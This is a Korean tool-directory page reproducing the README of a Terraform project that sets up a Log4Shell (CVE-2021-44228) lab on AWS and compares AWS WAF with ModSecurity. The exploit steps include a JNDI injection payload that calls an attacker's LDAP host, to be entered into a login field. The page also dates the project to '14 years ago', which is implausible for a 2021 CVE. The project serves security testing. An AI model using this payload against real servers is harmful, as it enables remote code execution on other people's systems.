Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
tf-log4j-aws-poc — 이 프로젝트 파일은 Terraform 코드형 인프라(IaC) 방식을 사용하여 AWS에서 log4j 취약점(CVE-2021-44228)의 개념 증명(PoC)을 시연합니다. | Kitploit
도구/GitHubGitHub/moshuum/tf-log4j-aws-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

이 프로젝트 파일은 Terraform 코드형 인프라(IaC) 방식을 사용하여 AWS에서 log4j 취약점(CVE-2021-44228)의 개념 증명(PoC)을 시연합니다.

저장소 보기
14년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Readme

프로젝트 설명

이 프로젝트 파일들은 Terraform Infrastructure-as-a-code 수단을 사용하여 AWS에서 log4j 취약점(CVE-2021-44228)의 개념 증명을 보여줍니다.

이 프로젝트에는 2개의 데모가 있습니다:

  1. single-instance는 취약한 서버를 포함하며, 개인 컴퓨터를 사용하여 서버를 공격할 수 있습니다. 서버는 AWS WAF로 보호되어야 합니다.
  2. double-instance에는 2개의 서비스가 포함되며, 취약한 서버는 리버스 프록시 서버에서만 접근할 수 있습니다. 리버스 프록시는 ModSecurity로 보호되어야 합니다.

결론: 첫 번째 데모는 AWS WAF를 사용한 성공적인 공격을 보여줍니다. 두 번째 데모는 ModSecurity가 적용된 상태에서 실패한 시도였습니다. ModSecurity를 제거하면 공격은 성공할 것입니다. ModSecurity가 활발한 프로젝트이기 때문에 취약한 문자열이 식별되어 필터링되었을 수 있습니다.

출처

이 poc는 다음에서 가져왔습니다: https://github.com/kozmer/log4j-shell-poc

이 medium 블로그는 그녀의 시도 과정을 설명합니다: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

내 테스트

개인적으로 Windows + Powershell을 사용하여 테스트했으며, 클라우드 머신은 Ubuntu 18 LTS입니다. (kali 또는 다른 linux로 공격)

사전 요구사항

  1. AWS_CLI 설치
  2. Terraform CLI 설치
  3. Access key 준비

RSA 키

웹에서 생성하세요 ('tf-aws' 이름으로): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Access key 가져오기

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > 사용자 선택 > 보안 자격 증명(security_credentials) 섹션 선택

셸에서 Access key 설정

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

사용법

AWS 플랫폼에서 EC2 설정

cd single-instance
terraform init
terraform apply

실행 후 IP/DNS가 표시됩니다.

single-instance의 경우 http:<aws host url>:8080에 접근할 수 있는지 확인하세요

double-instance의 경우 http:<aws host url>에 접근할 수 있는지 확인하세요

* 'double-instance'를 시작하는 데 훨씬 더 많은 시간이 걸립니다. 시스템에 ssh로 접속한 후 journalctl -f를 사용하여 진행 상황을 추적할 수 있습니다.

저널을 확인하는 경우, "Reached target Cloud-init target."이 준비 완료 상태를 의미합니다.
exploit

원격/로컬호스트 클라이언트(공격자) 준비:

실행 권한 설정 chmod +x ../exploit-script-remote.sh

제공된 변수로 스크립트 실행
../exploit-script-remote.sh

스크립트 끝에 ${jndi:ldap://<ip-address>:1389/a}와 유사한 페이로드가 표시됩니다.

취약한 서버:

http:<aws host url>:8080에 접속하세요

'username' 필드에 페이로드를 복사한 후 양식을 제출하세요

exploit

비고

JDK 파일: 바이두 소스에서 가져온 파일의 무결성이 Oracle의 해시와 동일한지 확인했습니다.
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

참고 자료

인스턴스: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

스팟 인스턴스: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

템플릿: https://spacelift.io/blog/terraform-templates

AWS AZ ID: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

배운 점들

  • (많은 시간 소비) provision을 bash 스크립트로 사용하지 말고 대신 템플릿을 사용하세요 (권한을 낮출 수 있는지 더 잘 확인할 수 있음)
  • 웹에서 생성한 RSA 키는 .pem을 사용하는 경우 aws-cli로 수동 생성한 것보다 더 안정적입니다 (.pem 파일의 SSH 클라이언트 또는 AWS 서버 호환성). 그렇지 않으면 pem 없이 일반 rsa 키를 사용하세요.
  • 비용 절감을 위해 일반 인스턴스 대신 스팟 인스턴스를 사용했습니다.
  • Docker가 포트를 노출하면 방화벽 규칙을 덮어쓸 수 있습니다.
  • (많은 시간 소비) 네트워킹 설정 및 문제 해결에 많은 시간이 걸립니다 - Route, vpc에는 1개의 보안 그룹이 필요하고 ec2 호스트에는 다른 보안 그룹이 필요하며 두 보안 그룹 모두 vpc를 가리켜야 합니다.
  • wget은 긴 다운로드 세션을 수행할 수 없습니다.

# 시간 기록

  • 시작: 06 Jun 11AM UTC+0800 - 07 Jun 4AM (poc+tf+aws -waf 완료) - 17시간
  • 시작: 07 Jun 1PM UTC+0800 - 08 Jun 5AM (리버스 프록시가 사용된 2번째 사례 완료)
도구 다운로드